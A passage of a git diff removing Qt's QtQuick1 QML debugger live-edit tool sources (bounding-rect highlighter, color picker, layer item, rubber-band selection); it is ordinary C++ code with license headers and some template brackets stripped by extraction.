-QGraphicsScene* AbstractLiveEditTool::scene() const -{ - return view()->scene(); -} - -void AbstractLiveEditTool::updateSelectedItems() -{ - selectedItemsChanged(items()); -} - -QList AbstractLiveEditTool::items() const -{ - return inspector()->selectedItems(); -} - -bool AbstractLiveEditTool::topItemIsMovable(const QList & itemList) -{ - QGraphicsItem *firstSelectableItem = topMovableGraphicsItem(itemList); - if (firstSelectableItem == 0) - return false; - if (toQDeclarativeItem(firstSelectableItem) != 0) - return true; - - return false; - -} - -bool AbstractLiveEditTool::topSelectedItemIsMovable(const QList &itemList) -{ - QList selectedItems = inspector()->selectedItems(); - - foreach (QGraphicsItem *item, itemList) { - QDeclarativeItem *declarativeItem = toQDeclarativeItem(item); - if (declarativeItem - && selectedItems.contains(declarativeItem) - /*&& (declarativeItem->qmlItemNode().hasShowContent() || selectNonContentItems)*/) - return true; - } - - return false; - -} - -bool AbstractLiveEditTool::topItemIsResizeHandle(const QList &/*itemList*/) -{ - return false; -} - -QDeclarativeItem *AbstractLiveEditTool::toQDeclarativeItem(QGraphicsItem *item) -{ - return qobject_cast(item->toGraphicsObject()); -} - -QGraphicsItem *AbstractLiveEditTool::topMovableGraphicsItem(const QList &itemList) -{ - foreach (QGraphicsItem *item, itemList) { - if (item->flags().testFlag(QGraphicsItem::ItemIsMovable)) - return item; - } - return 0; -} - -QDeclarativeItem *AbstractLiveEditTool::topMovableDeclarativeItem(const QList - &itemList) -{ - foreach (QGraphicsItem *item, itemList) { - QDeclarativeItem *declarativeItem = toQDeclarativeItem(item); - if (declarativeItem /*&& (declarativeItem->qmlItemNode().hasShowContent())*/) - return declarativeItem; - } - - return 0; -} - -QList AbstractLiveEditTool::toGraphicsObjectList(const QList - &itemList) -{ - QList gfxObjects; - foreach (QGraphicsItem *item, itemList) { - QGraphicsObject *obj = item->toGraphicsObject(); - if (obj) - gfxObjects << obj; - } - - return gfxObjects; -} - -QString AbstractLiveEditTool::titleForItem(QGraphicsItem *item) -{ - QString className(QLatin1String("QGraphicsItem")); - QString objectStringId; - - QString constructedName; - - QGraphicsObject *gfxObject = item->toGraphicsObject(); - if (gfxObject) { - className = QLatin1String(gfxObject->metaObject()->className()); - - className.remove(QRegExp(QLatin1String("_QMLTYPE_\\d+"))); - className.remove(QRegExp(QLatin1String("_QML_\\d+"))); - if (className.startsWith(QLatin1String("QDeclarative"))) - className = className.remove(QLatin1String("QDeclarative")); - - QDeclarativeItem *declarativeItem = qobject_cast(gfxObject); - if (declarativeItem) { - objectStringId = inspector()->idStringForObject(declarativeItem); - } - - if (!objectStringId.isEmpty()) { - constructedName = objectStringId + QLatin1String(" (") + className + QLatin1Char(')'); - } else { - if (!gfxObject->objectName().isEmpty()) { - constructedName = gfxObject->objectName() + QLatin1String(" (") + className + QLatin1Char(')'); - } else { - constructedName = className; - } - } - } - - return constructedName; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.h b/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.h deleted file mode 100644 index 8b82ccd7ed..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/abstractliveedittool.h +++ /dev/null @@ -1,106 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef ABSTRACTLIVEEDITTOOL_H -#define ABSTRACTLIVEEDITTOOL_H - -#include -#include "abstracttool.h" - -QT_BEGIN_NAMESPACE -class QMouseEvent; -class QGraphicsItem; -class QDeclarativeItem; -class QKeyEvent; -class QGraphicsScene; -class QGraphicsObject; -class QWheelEvent; -class QDeclarativeView; -QT_END_NAMESPACE - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; - -class AbstractLiveEditTool : public AbstractTool -{ - Q_OBJECT -public: - AbstractLiveEditTool(QDeclarativeViewInspector *inspector); - - virtual ~AbstractLiveEditTool(); - - void leaveEvent(QEvent *) {} - - virtual void itemsAboutToRemoved(const QList &itemList) = 0; - - virtual void clear() = 0; - - void updateSelectedItems(); - QList items() const; - - bool topItemIsMovable(const QList &itemList); - bool topItemIsResizeHandle(const QList &itemList); - bool topSelectedItemIsMovable(const QList &itemList); - - QString titleForItem(QGraphicsItem *item); - - static QList toGraphicsObjectList(const QList &itemList); - static QGraphicsItem* topMovableGraphicsItem(const QList &itemList); - static QDeclarativeItem* topMovableDeclarativeItem(const QList &itemList); - static QDeclarativeItem *toQDeclarativeItem(QGraphicsItem *item); - -protected: - virtual void selectedItemsChanged(const QList &objectList) = 0; - - QDeclarativeViewInspector *inspector() const; - QDeclarativeView *view() const; - QGraphicsScene *scene() const; - -private: - QList m_itemList; -}; - -} // namespace QtQuick1 -} // namesacpe QmlJSDebugger - -#endif // ABSTRACTLIVEEDITTOOL_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.cpp deleted file mode 100644 index 4be624c2dc..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.cpp +++ /dev/null @@ -1,241 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "boundingrecthighlighter.h" - -#include "qdeclarativeviewinspector.h" -#include "qmlinspectorconstants.h" - -#include - -#include -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -BoundingBox::BoundingBox(QGraphicsObject *itemToHighlight, QGraphicsItem *parentItem, - QObject *parent) - : QObject(parent), - highlightedObject(itemToHighlight), - highlightPolygon(0), - highlightPolygonEdge(0) -{ - highlightPolygon = new BoundingBoxPolygonItem(parentItem); - highlightPolygonEdge = new BoundingBoxPolygonItem(parentItem); - - highlightPolygon->setPen(QPen(QColor(0, 22, 159))); - highlightPolygonEdge->setPen(QPen(QColor(158, 199, 255))); - - highlightPolygon->setFlag(QGraphicsItem::ItemIsSelectable, false); - highlightPolygonEdge->setFlag(QGraphicsItem::ItemIsSelectable, false); -} - -BoundingBox::~BoundingBox() -{ - highlightedObject.clear(); -} - -BoundingBoxPolygonItem::BoundingBoxPolygonItem(QGraphicsItem *item) : QGraphicsPolygonItem(item) -{ - QPen pen; - pen.setColor(QColor(108, 141, 221)); - pen.setWidth(1); - setPen(pen); -} - -int BoundingBoxPolygonItem::type() const -{ - return Constants::EditorItemType; -} - -BoundingRectHighlighter::BoundingRectHighlighter(QDeclarativeViewInspector *view) : - LiveLayerItem(view->declarativeView()->scene()), - m_view(view) -{ -} - -BoundingRectHighlighter::~BoundingRectHighlighter() -{ - -} - -void BoundingRectHighlighter::clear() -{ - foreach (BoundingBox *box, m_boxes) - freeBoundingBox(box); -} - -BoundingBox *BoundingRectHighlighter::boxFor(QGraphicsObject *item) const -{ - foreach (BoundingBox *box, m_boxes) { - if (box->highlightedObject.data() == item) - return box; - } - return 0; -} - -void BoundingRectHighlighter::highlight(QList items) -{ - if (items.isEmpty()) - return; - - QList newBoxes; - foreach (QGraphicsObject *itemToHighlight, items) { - BoundingBox *box = boxFor(itemToHighlight); - if (!box) - box = createBoundingBox(itemToHighlight); - - newBoxes << box; - } - qSort(newBoxes); - - if (newBoxes != m_boxes) { - clear(); - m_boxes << newBoxes; - } - - highlightAll(); -} - -void BoundingRectHighlighter::highlight(QGraphicsObject* itemToHighlight) -{ - if (!itemToHighlight) - return; - - BoundingBox *box = boxFor(itemToHighlight); - if (!box) { - box = createBoundingBox(itemToHighlight); - m_boxes << box; - qSort(m_boxes); - } - - highlightAll(); -} - -BoundingBox *BoundingRectHighlighter::createBoundingBox(QGraphicsObject *itemToHighlight) -{ - if (!m_freeBoxes.isEmpty()) { - BoundingBox *box = m_freeBoxes.last(); - if (box->highlightedObject.isNull()) { - box->highlightedObject = itemToHighlight; - box->highlightPolygon->show(); - box->highlightPolygonEdge->show(); - m_freeBoxes.removeLast(); - return box; - } - } - - BoundingBox *box = new BoundingBox(itemToHighlight, this, this); - - connect(itemToHighlight, SIGNAL(xChanged()), this, SLOT(refresh())); - connect(itemToHighlight, SIGNAL(yChanged()), this, SLOT(refresh())); - connect(itemToHighlight, SIGNAL(widthChanged()), this, SLOT(refresh())); - connect(itemToHighlight, SIGNAL(heightChanged()), this, SLOT(refresh())); - connect(itemToHighlight, SIGNAL(rotationChanged()), this, SLOT(refresh())); - connect(itemToHighlight, SIGNAL(destroyed(QObject*)), this, SLOT(itemDestroyed(QObject*))); - - return box; -} - -void BoundingRectHighlighter::removeBoundingBox(BoundingBox *box) -{ - delete box; - box = 0; -} - -void BoundingRectHighlighter::freeBoundingBox(BoundingBox *box) -{ - if (!box->highlightedObject.isNull()) { - disconnect(box->highlightedObject.data(), SIGNAL(xChanged()), this, SLOT(refresh())); - disconnect(box->highlightedObject.data(), SIGNAL(yChanged()), this, SLOT(refresh())); - disconnect(box->highlightedObject.data(), SIGNAL(widthChanged()), this, SLOT(refresh())); - disconnect(box->highlightedObject.data(), SIGNAL(heightChanged()), this, SLOT(refresh())); - disconnect(box->highlightedObject.data(), SIGNAL(rotationChanged()), this, SLOT(refresh())); - } - - box->highlightedObject.clear(); - box->highlightPolygon->hide(); - box->highlightPolygonEdge->hide(); - m_boxes.removeOne(box); - m_freeBoxes << box; -} - -void BoundingRectHighlighter::itemDestroyed(QObject *obj) -{ - foreach (BoundingBox *box, m_boxes) { - if (box->highlightedObject.data() == obj) { - freeBoundingBox(box); - break; - } - } -} - -void BoundingRectHighlighter::highlightAll() -{ - foreach (BoundingBox *box, m_boxes) { - if (box && box->highlightedObject.isNull()) { - // clear all highlights - clear(); - return; - } - QGraphicsObject *item = box->highlightedObject.data(); - - QRectF boundingRectInSceneSpace(item->mapToScene(item->boundingRect()).boundingRect()); - QRectF boundingRectInLayerItemSpace = mapRectFromScene(boundingRectInSceneSpace); - QRectF bboxRect = m_view->adjustToScreenBoundaries(boundingRectInLayerItemSpace); - QRectF edgeRect = bboxRect; - edgeRect.adjust(-1, -1, 1, 1); - - box->highlightPolygon->setPolygon(QPolygonF(bboxRect)); - box->highlightPolygonEdge->setPolygon(QPolygonF(edgeRect)); - } -} - -void BoundingRectHighlighter::refresh() -{ - if (!m_boxes.isEmpty()) - highlightAll(); -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.h b/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.h deleted file mode 100644 index 38e724edc5..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/boundingrecthighlighter.h +++ /dev/null @@ -1,117 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef BOUNDINGRECTHIGHLIGHTER_H -#define BOUNDINGRECTHIGHLIGHTER_H - -#include "livelayeritem.h" - -#include -#include - -QT_FORWARD_DECLARE_CLASS(QGraphicsItem) -QT_FORWARD_DECLARE_CLASS(QPainter) -QT_FORWARD_DECLARE_CLASS(QWidget) -QT_FORWARD_DECLARE_CLASS(QStyleOptionGraphicsItem) -QT_FORWARD_DECLARE_CLASS(QTimer) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; -class BoundingBox; - -class BoundingRectHighlighter : public LiveLayerItem -{ - Q_OBJECT -public: - explicit BoundingRectHighlighter(QDeclarativeViewInspector *view); - ~BoundingRectHighlighter(); - void clear(); - void highlight(QList items); - void highlight(QGraphicsObject* item); - -private slots: - void refresh(); - void itemDestroyed(QObject *); - -private: - BoundingBox *boxFor(QGraphicsObject *item) const; - void highlightAll(); - BoundingBox *createBoundingBox(QGraphicsObject *itemToHighlight); - void removeBoundingBox(BoundingBox *box); - void freeBoundingBox(BoundingBox *box); - -private: - Q_DISABLE_COPY(BoundingRectHighlighter) - - QDeclarativeViewInspector *m_view; - QList m_boxes; - QList m_freeBoxes; -}; - -class BoundingBox : public QObject -{ - Q_OBJECT -public: - explicit BoundingBox(QGraphicsObject *itemToHighlight, QGraphicsItem *parentItem, - QObject *parent = 0); - ~BoundingBox(); - QWeakPointer highlightedObject; - QGraphicsPolygonItem *highlightPolygon; - QGraphicsPolygonItem *highlightPolygonEdge; - -private: - Q_DISABLE_COPY(BoundingBox) - -}; - -class BoundingBoxPolygonItem : public QGraphicsPolygonItem -{ -public: - explicit BoundingBoxPolygonItem(QGraphicsItem *item); - int type() const; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // BOUNDINGRECTHIGHLIGHTER_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.cpp deleted file mode 100644 index 3e975e7f8e..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.cpp +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "colorpickertool.h" - -#include "qdeclarativeviewinspector.h" - -#include -#include -#include -#include -#include -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -ColorPickerTool::ColorPickerTool(QDeclarativeViewInspector *view) : - AbstractLiveEditTool(view) -{ - m_selectedColor.setRgb(0,0,0); -} - -ColorPickerTool::~ColorPickerTool() -{ -} - -void ColorPickerTool::mousePressEvent(QMouseEvent *event) -{ - pickColor(event->pos()); -} - -void ColorPickerTool::mouseMoveEvent(QMouseEvent *event) -{ - pickColor(event->pos()); -} - -void ColorPickerTool::clear() -{ - view()->setCursor(Qt::CrossCursor); -} - -void ColorPickerTool::pickColor(const QPoint &pos) -{ - QRgb fillColor = view()->backgroundBrush().color().rgb(); - if (view()->backgroundBrush().style() == Qt::NoBrush) - fillColor = view()->palette().color(QPalette::Base).rgb(); - - QRectF target(0,0, 1, 1); - QRect source(pos.x(), pos.y(), 1, 1); - QImage img(1, 1, QImage::Format_ARGB32); - img.fill(fillColor); - QPainter painter(&img); - view()->render(&painter, target, source); - m_selectedColor = QColor::fromRgb(img.pixel(0, 0)); - - emit selectedColorChanged(m_selectedColor); -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.h b/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.h deleted file mode 100644 index 25605b8c63..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/colorpickertool.h +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef COLORPICKERTOOL_H -#define COLORPICKERTOOL_H - -#include "abstractliveedittool.h" - -#include - -QT_FORWARD_DECLARE_CLASS(QPoint) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class ColorPickerTool : public AbstractLiveEditTool -{ - Q_OBJECT -public: - explicit ColorPickerTool(QDeclarativeViewInspector *view); - - virtual ~ColorPickerTool(); - - void mousePressEvent(QMouseEvent *event); - void mouseMoveEvent(QMouseEvent *event); - void mouseReleaseEvent(QMouseEvent *) {} - void mouseDoubleClickEvent(QMouseEvent *) {} - - void hoverMoveEvent(QMouseEvent *) {} - - void keyPressEvent(QKeyEvent *) {} - void keyReleaseEvent(QKeyEvent *) {} - - void wheelEvent(QWheelEvent *) {} - - void itemsAboutToRemoved(const QList &) {} - - void clear(); - -signals: - void selectedColorChanged(const QColor &color); - -protected: - void selectedItemsChanged(const QList &) {} - -private: - void pickColor(const QPoint &pos); - -private: - QColor m_selectedColor; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // COLORPICKERTOOL_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.cpp deleted file mode 100644 index 08e36af603..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "livelayeritem.h" - -#include "qmlinspectorconstants.h" - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -LiveLayerItem::LiveLayerItem(QGraphicsScene* scene) - : QGraphicsObject() -{ - scene->addItem(this); - setZValue(1); - setFlag(QGraphicsItem::ItemIsMovable, false); -} - -LiveLayerItem::~LiveLayerItem() -{ -} - -void LiveLayerItem::paint(QPainter * /*painter*/, const QStyleOptionGraphicsItem * /*option*/, - QWidget * /*widget*/) -{ -} - -int LiveLayerItem::type() const -{ - return Constants::EditorItemType; -} - -QRectF LiveLayerItem::boundingRect() const -{ - return childrenBoundingRect(); -} - -QList LiveLayerItem::findAllChildItems() const -{ - return findAllChildItems(this); -} - -QList LiveLayerItem::findAllChildItems(const QGraphicsItem *item) const -{ - QList itemList(item->childItems()); - - foreach (QGraphicsItem *childItem, item->childItems()) - itemList += findAllChildItems(childItem); - - return itemList; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.h b/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.h deleted file mode 100644 index a2af69c1b2..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/livelayeritem.h +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LIVELAYERITEM_H -#define LIVELAYERITEM_H - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class LiveLayerItem : public QGraphicsObject -{ -public: - LiveLayerItem(QGraphicsScene *scene); - ~LiveLayerItem(); - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, - QWidget *widget = 0); - QRectF boundingRect() const; - int type() const; - - QList findAllChildItems() const; - -protected: - QList findAllChildItems(const QGraphicsItem *item) const; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // LIVELAYERITEM_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.cpp deleted file mode 100644 index 27f63a6137..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/liverubberbandselectionmanipulator.cpp +++ /dev/null @@ -1,167 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "liverubberbandselectionmanipulator.h" - -#include "qdeclarativeviewinspector_p.h" - -#include - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -LiveRubberBandSelectionManipulator::LiveRubberBandSelectionManipulator(QGraphicsObject *layerItem, - QDeclarativeViewInspector *editorView) - : m_selectionRectangleElement(layerItem), - m_editorView(editorView), - m_beginFormEditorItem(0), - m_isActive(false) -{ - m_selectionRectangleElement.hide(); -} - -void LiveRubberBandSelectionManipulator::clear() -{ - m_selectionRectangleElement.clear(); - m_isActive = false; - m_beginPoint = QPointF(); - m_itemList.clear(); - m_oldSelectionList.clear(); -} - -QGraphicsItem *LiveRubberBandSelectionManipulator::topFormEditorItem(const QList - &itemList) -{ - if (itemList.isEmpty()) - return 0; - - return itemList.first(); -} - -void LiveRubberBandSelectionManipulator::begin(const QPointF &beginPoint) -{ - m_beginPoint = beginPoint; - m_selectionRectangleElement.setRect(m_beginPoint, m_beginPoint); - m_selectionRectangleElement.show(); - m_isActive = true; - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(m_editorView); - m_beginFormEditorItem = topFormEditorItem(inspectorPrivate->selectableItems(beginPoint)); - m_oldSelectionList = m_editorView->selectedItems(); -} - -void LiveRubberBandSelectionManipulator::update(const QPointF &updatePoint) -{ - m_selectionRectangleElement.setRect(m_beginPoint, updatePoint); -} - -void LiveRubberBandSelectionManipulator::end() -{ - m_oldSelectionList.clear(); - m_selectionRectangleElement.hide(); - m_isActive = false; -} - -void LiveRubberBandSelectionManipulator::select(SelectionType selectionType) -{ - QDeclarativeViewInspectorPrivate *inspectorPrivate - = QDeclarativeViewInspectorPrivate::get(m_editorView); - QList itemList - = inspectorPrivate->selectableItems(m_selectionRectangleElement.rect(), - Qt::IntersectsItemShape); - QList newSelectionList; - - foreach (QGraphicsItem* item, itemList) { - if (item - && item->parentItem() - && !newSelectionList.contains(item) - //&& m_beginFormEditorItem->childItems().contains(item) // TODO activate this test - ) - { - newSelectionList.append(item); - } - } - - if (newSelectionList.isEmpty() && m_beginFormEditorItem) - newSelectionList.append(m_beginFormEditorItem); - - QList resultList; - - switch (selectionType) { - case AddToSelection: { - resultList.append(m_oldSelectionList); - resultList.append(newSelectionList); - } - break; - case ReplaceSelection: { - resultList.append(newSelectionList); - } - break; - case RemoveFromSelection: { - QSet 